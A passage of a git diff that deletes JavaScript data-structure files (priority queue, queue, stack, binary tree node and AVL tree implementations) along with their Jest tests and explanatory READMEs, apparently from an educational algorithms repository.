-    it('should be possible to use objects in priority queue', () => {
-        const priorityQueue = new PriorityQueue();
-        const user1 = { name: 'Mike' };
-        const user2 = { name: 'Bill' };
-        const user3 = { name: 'Jane' };
-        priorityQueue.add(user1, 1);
-        expect(priorityQueue.peek()).toBe(user1);
-        priorityQueue.add(user2, 2);
-        expect(priorityQueue.peek()).toBe(user1);
-        priorityQueue.add(user3, 0);
-        expect(priorityQueue.peek()).toBe(user3);
-    });
-    it('should poll from queue with respect to priorities', () => {
-        const priorityQueue = new PriorityQueue();
-        priorityQueue.add(10, 1);
-        priorityQueue.add(5, 2);
-        priorityQueue.add(100, 0);
-        priorityQueue.add(200, 0);
-        expect(priorityQueue.poll()).toBe(100);
-        expect(priorityQueue.poll()).toBe(200);
-        expect(priorityQueue.poll()).toBe(10);
-        expect(priorityQueue.poll()).toBe(5);
-    });
-    it('should be possible to change priority of head node', () => {
-        const priorityQueue = new PriorityQueue();
-        priorityQueue.add(10, 1);
-        priorityQueue.add(5, 2);
-        priorityQueue.add(100, 0);
-        priorityQueue.add(200, 0);
-        expect(priorityQueue.peek()).toBe(100);
-        priorityQueue.changePriority(100, 10);
-        priorityQueue.changePriority(10, 20);
-        expect(priorityQueue.poll()).toBe(200);
-        expect(priorityQueue.poll()).toBe(5);
-        expect(priorityQueue.poll()).toBe(100);
-        expect(priorityQueue.poll()).toBe(10);
-    });
-    it('should be possible to change priority of internal nodes', () => {
-        const priorityQueue = new PriorityQueue();
-        priorityQueue.add(10, 1);
-        priorityQueue.add(5, 2);
-        priorityQueue.add(100, 0);
-        priorityQueue.add(200, 0);
-        expect(priorityQueue.peek()).toBe(100);
-        priorityQueue.changePriority(200, 10);
-        priorityQueue.changePriority(10, 20);
-        expect(priorityQueue.poll()).toBe(100);
-        expect(priorityQueue.poll()).toBe(5);
-        expect(priorityQueue.poll()).toBe(200);
-        expect(priorityQueue.poll()).toBe(10);
-    });
-    it('should be possible to change priority along with node addition', () => {
-        const priorityQueue = new PriorityQueue();
-        priorityQueue.add(10, 1);
-        priorityQueue.add(5, 2);
-        priorityQueue.add(100, 0);
-        priorityQueue.add(200, 0);
-        priorityQueue.changePriority(200, 10);
-        priorityQueue.changePriority(10, 20);
-        priorityQueue.add(15, 15);
-        expect(priorityQueue.poll()).toBe(100);
-        expect(priorityQueue.poll()).toBe(5);
-        expect(priorityQueue.poll()).toBe(200);
-        expect(priorityQueue.poll()).toBe(15);
-        expect(priorityQueue.poll()).toBe(10);
-    });
-    it('should be possible to search in priority queue by value', () => {
-        const priorityQueue = new PriorityQueue();
-        priorityQueue.add(10, 1);
-        priorityQueue.add(5, 2);
-        priorityQueue.add(100, 0);
-        priorityQueue.add(200, 0);
-        priorityQueue.add(15, 15);
-        expect(priorityQueue.hasValue(70)).toBe(false);
-        expect(priorityQueue.hasValue(15)).toBe(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/queue/Queue.js b/docs/content/DS_ALGO/data-structures/queue/Queue.js
deleted file mode 100644
index 4b879d9b70..0000000000
--- a/docs/content/DS_ALGO/data-structures/queue/Queue.js
+++ /dev/null
@@ -1,51 +0,0 @@
-import LinkedList from '../linked-list/LinkedList';
-export default class Queue {
-    constructor() {
-        // We're going to implement Queue based on LinkedList since the two
-        // structures are quite similar. Namely, they both operate mostly on
-        // the elements at the beginning and the end. Compare enqueue/dequeue
-        // operations of Queue with append/deleteHead operations of LinkedList.
-        this.linkedList = new LinkedList();
-    }
-    /**
-     * @return {boolean}
-     */
-    isEmpty() {
-        return !this.linkedList.head;
-    }
-    /**
-     * Read the element at the front of the queue without removing it.
-     * @return {*}
-     */
-    peek() {
-        if (this.isEmpty()) {
-            return null;
-        }
-        return this.linkedList.head.value;
-    }
-    /**
-     * Add a new element to the end of the queue (the tail of the linked list).
-     * This element will be processed after all elements ahead of it.
-     * @param {*} value
-     */
-    enqueue(value) {
-        this.linkedList.append(value);
-    }
-    /**
-     * Remove the element at the front of the queue (the head of the linked list).
-     * If the queue is empty, return null.
-     * @return {*}
-     */
-    dequeue() {
-        const removedHead = this.linkedList.deleteHead();
-        return removedHead ? removedHead.value : null;
-    }
-    /**
-     * @param [callback]
-     * @return {string}
-     */
-    toString(callback) {
-        // Return string representation of the queue's linked list.
-        return this.linkedList.toString(callback);
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/queue/README.md b/docs/content/DS_ALGO/data-structures/queue/README.md
deleted file mode 100644
index d19e17dfa9..0000000000
--- a/docs/content/DS_ALGO/data-structures/queue/README.md
+++ /dev/null
@@ -1,28 +0,0 @@
-# Queue
-
-[_Français_](README.fr-FR.md),
-
-In computer science, a **queue** is a particular kind of abstract data
-type or collection in which the entities in the collection are
-kept in order and the principle (or only) operations on the
-collection are the addition of entities to the rear terminal
-position, known as enqueue, and removal of entities from the
-front terminal position, known as dequeue. This makes the queue
-a First-In-First-Out (FIFO) data structure. In a FIFO data
-structure, the first element added to the queue will be the
-first one to be removed. This is equivalent to the requirement
-that once a new element is added, all elements that were added
-before have to be removed before the new element can be removed.
-Often a peek or front operation is also entered, returning the
-value of the front element without dequeuing it. A queue is an
-example of a linear data structure, or more abstractly a
-sequential collection.
-
-Representation of a FIFO (first in, first out) queue
-
-![Queue](https://upload.wikimedia.org/wikipedia/commons/5/52/Data_Queue.svg)
-
-## References
-
--   [Wikipedia](<https://en.wikipedia.org/wiki/Queue_(abstract_data_type)>)
--   [YouTube](https://www.youtube.com/watch?v=wjI1WNcIntg&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=3&)
diff --git a/docs/content/DS_ALGO/data-structures/queue/test/Queue.test.js b/docs/content/DS_ALGO/data-structures/queue/test/Queue.test.js
deleted file mode 100644
index c5654ea308..0000000000
--- a/docs/content/DS_ALGO/data-structures/queue/test/Queue.test.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import Queue from '../Queue';
-describe('Queue', () => {
-    it('should create empty queue', () => {
-        const queue = new Queue();
-        expect(queue).not.toBeNull();
-        expect(queue.linkedList).not.toBeNull();
-    });
-    it('should enqueue data to queue', () => {
-        const queue = new Queue();
-        queue.enqueue(1);
-        queue.enqueue(2);
-        expect(queue.toString()).toBe('1,2');
-    });
-    it('should be possible to enqueue/dequeue objects', () => {
-        const queue = new Queue();
-        queue.enqueue({ value: 'test1', key: 'key1' });
-        queue.enqueue({ value: 'test2', key: 'key2' });
-        const stringifier = (value) => `${value.key}:${value.value}`;
-        expect(queue.toString(stringifier)).toBe('key1:test1,key2:test2');
-        expect(queue.dequeue().value).toBe('test1');
-        expect(queue.dequeue().value).toBe('test2');
-    });
-    it('should peek data from queue', () => {
-        const queue = new Queue();
-        expect(queue.peek()).toBeNull();
-        queue.enqueue(1);
-        queue.enqueue(2);
-        expect(queue.peek()).toBe(1);
-        expect(queue.peek()).toBe(1);
-    });
-    it('should check if queue is empty', () => {
-        const queue = new Queue();
-        expect(queue.isEmpty()).toBe(true);
-        queue.enqueue(1);
-        expect(queue.isEmpty()).toBe(false);
-    });
-    it('should dequeue from queue in FIFO order', () => {
-        const queue = new Queue();
-        queue.enqueue(1);
-        queue.enqueue(2);
-        expect(queue.dequeue()).toBe(1);
-        expect(queue.dequeue()).toBe(2);
-        expect(queue.dequeue()).toBeNull();
-        expect(queue.isEmpty()).toBe(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/stack/README.md b/docs/content/DS_ALGO/data-structures/stack/README.md
deleted file mode 100644
index 24a7586f56..0000000000
--- a/docs/content/DS_ALGO/data-structures/stack/README.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# Stack
-
-[_Français_](README.fr-FR.md),
-
-In computer science, a **stack** is an abstract data type that serves
-as a collection of elements, with two principal operations:
-
--   **push**, which adds an element to the collection, and
--   **pop**, which removes the most recently added element that was not yet removed.
-
-The order in which elements come off a stack gives rise to its
-alternative name, LIFO (last in, first out). Additionally, a
-peek operation may give access to the top without modifying
-the stack. The name "stack" for this type of structure comes
-from the analogy to a set of physical items stacked on top of
-each other, which makes it easy to take an item off the top
-of the stack, while getting to an item deeper in the stack
-may require taking off multiple other items first.
-
-Simple representation of a stack runtime with push and pop operations.
-
-![Stack](https://upload.wikimedia.org/wikipedia/commons/b/b4/Lifo_stack.png)
-
-## References
-
--   [Wikipedia](<https://en.wikipedia.org/wiki/Stack_(abstract_data_type)>)
--   [YouTube](https://www.youtube.com/watch?v=wjI1WNcIntg&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=3&)
diff --git a/docs/content/DS_ALGO/data-structures/stack/Stack.js b/docs/content/DS_ALGO/data-structures/stack/Stack.js
deleted file mode 100644
index 14990b9079..0000000000
--- a/docs/content/DS_ALGO/data-structures/stack/Stack.js
+++ /dev/null
@@ -1,57 +0,0 @@
-import LinkedList from '../linked-list/LinkedList';
-export default class Stack {
-    constructor() {
-        // We're going to implement Stack based on LinkedList since these
-        // structures are quite similar. Compare push/pop operations of the Stack
-        // with prepend/deleteHead operations of LinkedList.
-        this.linkedList = new LinkedList();
-    }
-    /**
-     * @return {boolean}
-     */
-    isEmpty() {
-        // The stack is empty if its linked list doesn't have a head.
-        return !this.linkedList.head;
-    }
-    /**
-     * @return {*}
-     */
-    peek() {
-        if (this.isEmpty()) {
-            // If the linked list is empty then there is nothing to peek from.
-            return null;
-        }
-        // Just read the value from the start of linked list without deleting it.
-        return this.linkedList.head.value;
-    }
-    /**
-     * @param {*} value
-     */
-    push(value) {
-        // Pushing means to lay the value on top of the stack. Therefore let's just add
-        // the new value at the start of the linked list.
-        this.linkedList.prepend(value);
-    }
-    /**
-     * @return {*}
-     */
-    pop() {
-        // Let's try to delete the first node (the head) from the linked list.
-        // If there is no head (the linked list is empty) just return null.
-        const removedHead = this.linkedList.deleteHead();
-        return removedHead ? removedHead.value : null;
-    }
-    /**
-     * @return {*[]}
-     */
-    toArray() {
-        return this.linkedList.toArray().map((linkedListNode) => linkedListNode.value);
-    }
-    /**
-     * @param {function} [callback]
-     * @return {string}
-     */
-    toString(callback) {
-        return this.linkedList.toString(callback);
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/stack/test/Stack.test.js b/docs/content/DS_ALGO/data-structures/stack/test/Stack.test.js
deleted file mode 100644
index 0e91aedd6b..0000000000
--- a/docs/content/DS_ALGO/data-structures/stack/test/Stack.test.js
+++ /dev/null
@@ -1,54 +0,0 @@
-import Stack from '../Stack';
-describe('Stack', () => {
-    it('should create empty stack', () => {
-        const stack = new Stack();
-        expect(stack).not.toBeNull();
-        expect(stack.linkedList).not.toBeNull();
-    });
-    it('should stack data to stack', () => {
-        const stack = new Stack();
-        stack.push(1);
-        stack.push(2);
-        expect(stack.toString()).toBe('2,1');
-    });
-    it('should peek data from stack', () => {
-        const stack = new Stack();
-        expect(stack.peek()).toBeNull();
-        stack.push(1);
-        stack.push(2);
-        expect(stack.peek()).toBe(2);
-        expect(stack.peek()).toBe(2);
-    });
-    it('should check if stack is empty', () => {
-        const stack = new Stack();
-        expect(stack.isEmpty()).toBe(true);
-        stack.push(1);
-        expect(stack.isEmpty()).toBe(false);
-    });
-    it('should pop data from stack', () => {
-        const stack = new Stack();
-        stack.push(1);
-        stack.push(2);
-        expect(stack.pop()).toBe(2);
-        expect(stack.pop()).toBe(1);
-        expect(stack.pop()).toBeNull();
-        expect(stack.isEmpty()).toBe(true);
-    });
-    it('should be possible to push/pop objects', () => {
-        const stack = new Stack();
-        stack.push({ value: 'test1', key: 'key1' });
-        stack.push({ value: 'test2', key: 'key2' });
-        const stringifier = (value) => `${value.key}:${value.value}`;
-        expect(stack.toString(stringifier)).toBe('key2:test2,key1:test1');
-        expect(stack.pop().value).toBe('test2');
-        expect(stack.pop().value).toBe('test1');
-    });
-    it('should be possible to convert stack to array', () => {
-        const stack = new Stack();
-        expect(stack.peek()).toBeNull();
-        stack.push(1);
-        stack.push(2);
-        stack.push(3);
-        expect(stack.toArray()).toEqual([3, 2, 1]);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/tree/BinaryTreeNode.js b/docs/content/DS_ALGO/data-structures/tree/BinaryTreeNode.js
deleted file mode 100644
index 67845da757..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/BinaryTreeNode.js
+++ /dev/null
@@ -1,181 +0,0 @@
-import Comparator from '../../utils/comparator/Comparator';
-import HashTable from '../hash-table/HashTable';
-export default class BinaryTreeNode {
-    /**
-     * @param {*} [value] - node value.
-     */
-    constructor(value = null) {
-        this.left = null;
-        this.right = null;
-        this.parent = null;
-        this.value = value;
-        // Any node related meta information may be stored here.
-        this.meta = new HashTable();
-        // This comparator is used to compare binary tree nodes with each other.
-        this.nodeComparator = new Comparator();
-    }
-    /**
-     * @return {number}
-     */
-    get leftHeight() {
-        if (!this.left) {
-            return 0;
-        }
-        return this.left.height + 1;
-    }
-    /**
-     * @return {number}
-     */
-    get rightHeight() {
-        if (!this.right) {
-            return 0;
-        }
-        return this.right.height + 1;
-    }
-    /**
-     * @return {number}
-     */
-    get height() {
-        return Math.max(this.leftHeight, this.rightHeight);
-    }
-    /**
-     * @return {number}
-     */
-    get balanceFactor() {
-        return this.leftHeight - this.rightHeight;
-    }
-    /**
-     * Get parent's sibling if it exists.
-     * @return {BinaryTreeNode}
-     */
-    get uncle() {
-        // Check if current node has parent.
-        if (!this.parent) {
-            return undefined;
-        }
-        // Check if current node has grand-parent.
-        if (!this.parent.parent) {
-            return undefined;
-        }
-        // Check if grand-parent has two children.
-        if (!this.parent.parent.left || !this.parent.parent.right) {
-            return undefined;
-        }
-        // So for now we know that current node has grand-parent and this
-        // grand-parent has two children. Let's find out who is the uncle.
-        if (this.nodeComparator.equal(this.parent, this.parent.parent.left)) {
-            // Right one is an uncle.
-            return this.parent.parent.right;
-        }
-        // Left one is an uncle.
-        return this.parent.parent.left;
-    }
-    /**
-     * @param {*} value
-     * @return {BinaryTreeNode}
-     */
-    setValue(value) {
-        this.value = value;
-        return this;
-    }
-    /**
-     * @param {BinaryTreeNode} node
-     * @return {BinaryTreeNode}
-     */
-    setLeft(node) {
-        // Reset parent for left node since it is going to be detached.
-        if (this.left) {
-            this.left.parent = null;
-        }
-        // Attach new node to the left.
-        this.left = node;
-        // Make current node to be a parent for new left one.
-        if (this.left) {
-            this.left.parent = this;
-        }
-        return this;
-    }
-    /**
-     * @param {BinaryTreeNode} node
-     * @return {BinaryTreeNode}
-     */
-    setRight(node) {
-        // Reset parent for right node since it is going to be detached.
-        if (this.right) {
-            this.right.parent = null;
-        }
-        // Attach new node to the right.
-        this.right = node;
-        // Make current node to be a parent for new right one.
-        if (node) {
-            this.right.parent = this;
-        }
-        return this;
-    }
-    /**
-     * @param {BinaryTreeNode} nodeToRemove
-     * @return {boolean}
-     */
-    removeChild(nodeToRemove) {
-        if (this.left && this.nodeComparator.equal(this.left, nodeToRemove)) {
-            this.left = null;
-            return true;
-        }
-        if (this.right && this.nodeComparator.equal(this.right, nodeToRemove)) {
-            this.right = null;
-            return true;
-        }
-        return false;
-    }
-    /**
-     * @param {BinaryTreeNode} nodeToReplace
-     * @param {BinaryTreeNode} replacementNode
-     * @return {boolean}
-     */
-    replaceChild(nodeToReplace, replacementNode) {
-        if (!nodeToReplace || !replacementNode) {
-            return false;
-        }
-        if (this.left && this.nodeComparator.equal(this.left, nodeToReplace)) {
-            this.left = replacementNode;
-            return true;
-        }
-        if (this.right && this.nodeComparator.equal(this.right, nodeToReplace)) {
-            this.right = replacementNode;
-            return true;
-        }
-        return false;
-    }
-    /**
-     * @param {BinaryTreeNode} sourceNode
-     * @param {BinaryTreeNode} targetNode
-     */
-    static copyNode(sourceNode, targetNode) {
-        targetNode.setValue(sourceNode.value);
-        targetNode.setLeft(sourceNode.left);
-        targetNode.setRight(sourceNode.right);
-    }
-    /**
-     * @return {*[]}
-     */
-    traverseInOrder() {
-        let traverse = [];
-        // Add left node.
-        if (this.left) {
-            traverse = traverse.concat(this.left.traverseInOrder());
-        }
-        // Add root.
-        traverse.push(this.value);
-        // Add right node.
-        if (this.right) {
-            traverse = traverse.concat(this.right.traverseInOrder());
-        }
-        return traverse;
-    }
-    /**
-     * @return {string}
-     */
-    toString() {
-        return this.traverseInOrder().toString();
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/tree/README.md b/docs/content/DS_ALGO/data-structures/tree/README.md
deleted file mode 100644
index 32b145009f..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/README.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# Tree
-
--   [Binary Search Tree](binary-search-tree)
--   [AVL Tree](avl-tree)
--   [Red-Black Tree](red-black-tree)
--   [Segment Tree](segment-tree) - with min/max/sum range queries examples
--   [Fenwick Tree](fenwick-tree) (Binary Indexed Tree)
-
-In computer science, a **tree** is a widely used abstract data type (ADT) — or data structure implementing this ADT—that simulates a hierarchical tree structure, with a root value and subtrees of children with a parent node, represented as a set of linked nodes.
-
-A tree data structure can be defined recursively (locally) as a collection of nodes (starting at a root node), where each node is a data structure consisting of a value, together with a list of references to nodes (the "children"), with the constraints that no reference is duplicated, and none points to the root.
-
-A simple unordered tree; in this diagram, the node labeled 7 has two children, labeled 2 and 6, and one parent, labeled 2. The root node, at the top, has no parent.
-
-![Tree](https://upload.wikimedia.org/wikipedia/commons/f/f7/Binary_tree.svg)
-
-## References
-
--   [Wikipedia](<https://en.wikipedia.org/wiki/Tree_(data_structure)>)
--   [YouTube](https://www.youtube.com/watch?v=oSWTXtMglKE&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=8)
diff --git a/docs/content/DS_ALGO/data-structures/tree/avl-tree/AvlTree.js b/docs/content/DS_ALGO/data-structures/tree/avl-tree/AvlTree.js
deleted file mode 100644
index fda637c83e..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/avl-tree/AvlTree.js
+++ /dev/null
@@ -1,138 +0,0 @@
-import BinarySearchTree from '../binary-search-tree/BinarySearchTree';
-export default class AvlTree extends BinarySearchTree {
-    /**
-     * @param {*} value
-     */
-    insert(value) {
-        // Do the normal BST insert.
-        super.insert(value);
-        // Let's move up to the root and check balance factors along the way.
-        let currentNode = this.root.find(value);
-        while (currentNode) {
-            this.balance(currentNode);
-            currentNode = currentNode.parent;
-        }
-    }
-    /**
-     * @param {*} value
-     * @return {boolean}
-     */
-    remove(value) {
-        // Do standard BST removal.
-        super.remove(value);
-        // Balance the tree starting from the root node.
-        this.balance(this.root);
-    }
-    /**
-     * @param {BinarySearchTreeNode} node
-     */
-    balance(node) {
-        // If balance factor is not OK then try to balance the node.
-        if (node.balanceFactor > 1) {
-            // Left rotation.
-            if (node.left.balanceFactor > 0) {
-                // Left-Left rotation
-                this.rotateLeftLeft(node);
-            } else if (node.left.balanceFactor < 0) {
-                // Left-Right rotation.
-                this.rotateLeftRight(node);
-            }
-        } else if (node.balanceFactor < -1) {
-            // Right rotation.
-            if (node.right.balanceFactor < 0) {
-                // Right-Right rotation
-                this.rotateRightRight(node);
-            } else if (node.right.balanceFactor > 0) {
-                // Right-Left rotation.
-                this.rotateRightLeft(node);
-            }
-        }
-    }
-    /**
-     * @param {BinarySearchTreeNode} rootNode
-     */
-    rotateLeftLeft(rootNode) {
-        // Detach left node from root node.
-        const leftNode = rootNode.left;
-        rootNode.setLeft(null);
-        // Make left node to be a child of rootNode's parent.
-        if (rootNode.parent) {
-            rootNode.parent.setLeft(leftNode);
-        } else if (rootNode === this.root) {
-            // If root node is root then make left node to be a new root.
-            this.root = leftNode;
-        }
-        // If left node has a right child then detach it and
-        // attach it as a left child for rootNode.
-        if (leftNode.right) {
-            rootNode.setLeft(leftNode.right);
-        }
-        // Attach rootNode to the right of leftNode.
-        leftNode.setRight(rootNode);
-    }
-    /**
-     * @param {BinarySearchTreeNode} rootNode
-     */
-    rotateLeftRight(rootNode) {
-        // Detach left node from rootNode since it is going to be replaced.
-        const leftNode = rootNode.left;
-        rootNode.setLeft(null);
-        // Detach right node from leftNode.
-        const leftRightNode = leftNode.right;
-        leftNode.setRight(null);
-        // Preserve leftRightNode's left subtree.
-        if (leftRightNode.left) {
-            leftNode.setRight(leftRightNode.left);
-            leftRightNode.setLeft(null);
-        }
-        // Attach leftRightNode to the rootNode.
-        rootNode.setLeft(leftRightNode);
-        // Attach leftNode as left node for leftRight node.
-        leftRightNode.setLeft(leftNode);
-        // Do left-left rotation.
-        this.rotateLeftLeft(rootNode);
-    }
-    /**
-     * @param {BinarySearchTreeNode} rootNode
-     */
-    rotateRightLeft(rootNode) {
-        // Detach right node from rootNode since it is going to be replaced.
-        const rightNode = rootNode.right;
-        rootNode.setRight(null);
-        // Detach left node from rightNode.
-        const rightLeftNode = rightNode.left;
-        rightNode.setLeft(null);
-        if (rightLeftNode.right) {
-            rightNode.setLeft(rightLeftNode.right);
-            rightLeftNode.setRight(null);
-        }
-        // Attach rightLeftNode to the rootNode.
-        rootNode.setRight(rightLeftNode);
-        // Attach rightNode as right node for rightLeft node.
-        rightLeftNode.setRight(rightNode);
-        // Do right-right rotation.
-        this.rotateRightRight(rootNode);
-    }
-    /**
-     * @param {BinarySearchTreeNode} rootNode
-     */
-    rotateRightRight(rootNode) {
-        // Detach right node from root node.
-        const rightNode = rootNode.right;
-        rootNode.setRight(null);
-        // Make right node to be a child of rootNode's parent.
-        if (rootNode.parent) {
-            rootNode.parent.setRight(rightNode);
-        } else if (rootNode === this.root) {
-            // If root node is root then make right node to be a new root.
-            this.root = rightNode;
-        }
-        // If right node has a left child then detach it and
-        // attach it as a right child for rootNode.
-        if (rightNode.left) {
-            rootNode.setRight(rightNode.left);
-        }
-        // Attach rootNode to the left of rightNode.
-        rightNode.setLeft(rootNode);
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/tree/avl-tree/README.md b/docs/content/DS_ALGO/data-structures/tree/avl-tree/README.md
deleted file mode 100644
index 899d71b68e..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/avl-tree/README.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# AVL Tree
-
-In computer science, an **AVL tree** (named after inventors
-Adelson-Velsky and Landis) is a self-balancing binary search
-tree. It was the first such data structure to be invented.
-In an AVL tree, the heights of the two child subtrees of any
-node differ by at most one; if at any time they differ by
-more than one, rebalancing is done to restore this property.
-Lookup, insertion, and deletion all take `O(log n)` time in
-both the average and worst cases, where n is the number of
-nodes in the tree prior to the operation. Insertions and
-deletions may require the tree to be rebalanced by one or
-more tree rotations.
-
-Animation showing the insertion of several elements into an AVL
-tree. It includes left, right, left-right and right-left rotations.
-
-![AVL Tree](https://upload.wikimedia.org/wikipedia/commons/f/fd/AVL_Tree_Example.gif)
-
-AVL tree with balance factors (green)
-
-![AVL Tree](https://upload.wikimedia.org/wikipedia/commons/a/ad/AVL-tree-wBalance_K.svg)
-
-### AVL Tree Rotations
-
-**Left-Left Rotation**
-
-![Left-Left Rotation](http://btechsmartclass.com/data_structures/ds_images/LL%20Rotation.png)
-
-**Right-Right Rotation**
-
-![Right-Right Rotation](http://btechsmartclass.com/data_structures/ds_images/RR%20Rotation.png)
-
-**Left-Right Rotation**
-
-![Left-Right Rotation](http://btechsmartclass.com/data_structures/ds_images/LR%20Rotation.png)
-
-**Right-Left Rotation**
-
-![Right-Right Rotation](http://btechsmartclass.com/data_structures/ds_images/RL%20Rotation.png)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/AVL_tree)
--   [Tutorials Point](https://www.tutorialspoint.com/data_structures_algorithms/avl_tree_algorithm.htm)
--   [BTech](http://btechsmartclass.com/data_structures/avl-trees.html)
--   [AVL Tree Insertion on YouTube](https://www.youtube.com/watch?v=rbg7Qf8GkQ4&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=12&)
--   [AVL Tree Interactive Visualisations](https://www.cs.usfca.edu/~galles/visualization/AVLtree.html)
diff --git a/docs/content/DS_ALGO/data-structures/tree/avl-tree/test/AvlTRee.test.js b/docs/content/DS_ALGO/data-structures/tree/avl-tree/test/AvlTRee.test.js
deleted file mode 100644
index 10530fc8b9..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/avl-tree/test/AvlTRee.test.js
+++ /dev/null
@@ -1,228 +0,0 @@
-import AvlTree from '../AvlTree';
-describe('AvlTree', () => {
-    it('should do simple left-left rotation', () => {
-        const tree = new AvlTree();
-        tree.insert(4);
-        tree.insert(3);
-        tree.insert(2);
-        expect(tree.toString()).toBe('2,3,4');
-        expect(tree.root.value).toBe(3);
-        expect(tree.root.height).toBe(1);
-        tree.insert(1);
-        expect(tree.toString()).toBe('1,2,3,4');
-        expect(tree.root.value).toBe(3);
-        expect(tree.root.height).toBe(2);
-        tree.insert(0);
-        expect(tree.toString()).toBe('0,1,2,3,4');
-        expect(tree.root.value).toBe(3);
-        expect(tree.root.left.value).toBe(1);
-        expect(tree.root.height).toBe(2);
-    });
-    it('should do complex left-left rotation', () => {
-        const tree = new AvlTree();
-        tree.insert(30);
-        tree.insert(20);
-        tree.insert(40);
-        tree.insert(10);
-        expect(tree.root.value).toBe(30);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('10,20,30,40');
-        tree.insert(25);
-        expect(tree.root.value).toBe(30);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('10,20,25,30,40');
-        tree.insert(5);
-        expect(tree.root.value).toBe(20);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('5,10,20,25,30,40');
-    });
-    it('should do simple right-right rotation', () => {
-        const tree = new AvlTree();
-        tree.insert(2);
-        tree.insert(3);
-        tree.insert(4);
-        expect(tree.toString()).toBe('2,3,4');
-        expect(tree.root.value).toBe(3);
-        expect(tree.root.height).toBe(1);
-        tree.insert(5);
-        expect(tree.toString()).toBe('2,3,4,5');
-        expect(tree.root.value).toBe(3);
-        expect(tree.root.height).toBe(2);
-        tree.insert(6);
-        expect(tree.toString()).toBe('2,3,4,5,6');
-        expect(tree.root.value).toBe(3);
-        expect(tree.root.right.value).toBe(5);
-        expect(tree.root.height).toBe(2);
-    });
-    it('should do complex right-right rotation', () => {
-        const tree = new AvlTree();
-        tree.insert(30);
-        tree.insert(20);
-        tree.insert(40);
-        tree.insert(50);
-        expect(tree.root.value).toBe(30);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('20,30,40,50');
-        tree.insert(35);
-        expect(tree.root.value).toBe(30);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('20,30,35,40,50');
-        tree.insert(55);
-        expect(tree.root.value).toBe(40);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('20,30,35,40,50,55');
-    });
-    it('should do left-right rotation', () => {
-        const tree = new AvlTree();
-        tree.insert(30);
-        tree.insert(20);
-        tree.insert(25);
-        expect(tree.root.height).toBe(1);
-        expect(tree.root.value).toBe(25);
-        expect(tree.toString()).toBe('20,25,30');
-    });
-    it('should do right-left rotation', () => {
-        const tree = new AvlTree();
-        tree.insert(30);
-        tree.insert(40);
-        tree.insert(35);
-        expect(tree.root.height).toBe(1);
-        expect(tree.root.value).toBe(35);
-        expect(tree.toString()).toBe('30,35,40');
-    });
-    it('should create balanced tree: case #1', () => {
-        // @see: https://www.youtube.com/watch?v=rbg7Qf8GkQ4&t=839s
-        const tree = new AvlTree();
-        tree.insert(1);
-        tree.insert(2);
-        tree.insert(3);
-        expect(tree.root.value).toBe(2);
-        expect(tree.root.height).toBe(1);
-        expect(tree.toString()).toBe('1,2,3');
-        tree.insert(6);
-        expect(tree.root.value).toBe(2);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('1,2,3,6');
-        tree.insert(15);
-        expect(tree.root.value).toBe(2);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('1,2,3,6,15');
-        tree.insert(-2);
-        expect(tree.root.value).toBe(2);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('-2,1,2,3,6,15');
-        tree.insert(-5);
-        expect(tree.root.value).toBe(2);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('-5,-2,1,2,3,6,15');
-        tree.insert(-8);
-        expect(tree.root.value).toBe(2);
-        expect(tree.root.height).toBe(3);
-        expect(tree.toString()).toBe('-8,-5,-2,1,2,3,6,15');
-    });
-    it('should create balanced tree: case #2', () => {
-        // @see https://www.youtube.com/watch?v=7m94k2Qhg68
-        const tree = new AvlTree();
-        tree.insert(43);
-        tree.insert(18);
-        tree.insert(22);
-        tree.insert(9);
-        tree.insert(21);
-        tree.insert(6);
-        expect(tree.root.value).toBe(18);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('6,9,18,21,22,43');
-        tree.insert(8);
-        expect(tree.root.value).toBe(18);
-        expect(tree.root.height).toBe(2);
-        expect(tree.toString()).toBe('6,8,9,18,21,22,43');
-    });
-    it('should do left right rotation and keeping left right node safe', () => {
-        const tree = new AvlTree();
-        tree.insert(30);
-        tree.insert(15);
-        tree.insert(40);
-        tree.insert(10);
-        tree.insert(18);
-        tree.insert(35);
-        tree.insert(45);
-        tree.insert(5);
-        tree.insert(12);
-        expect(tree.toString()).toBe('5,10,12,15,18,30,35,40,45');
-        expect(tree.root.height).toBe(3);
-        tree.insert(11);
-        expect(tree.toString()).toBe('5,10,11,12,15,18,30,35,40,45');
-        expect(tree.root.height).toBe(3);
-    });
-    it('should do left right rotation and keeping left right node safe', () => {
-        const tree = new AvlTree();
-        tree.insert(30);
-        tree.insert(15);
-        tree.insert(40);
-        tree.insert(10);
-        tree.insert(18);
-        tree.insert(35);
-        tree.insert(45);
-        tree.insert(42);
-        tree.insert(47);
-        expect(tree.toString()).toBe('10,15,18,30,35,40,42,45,47');
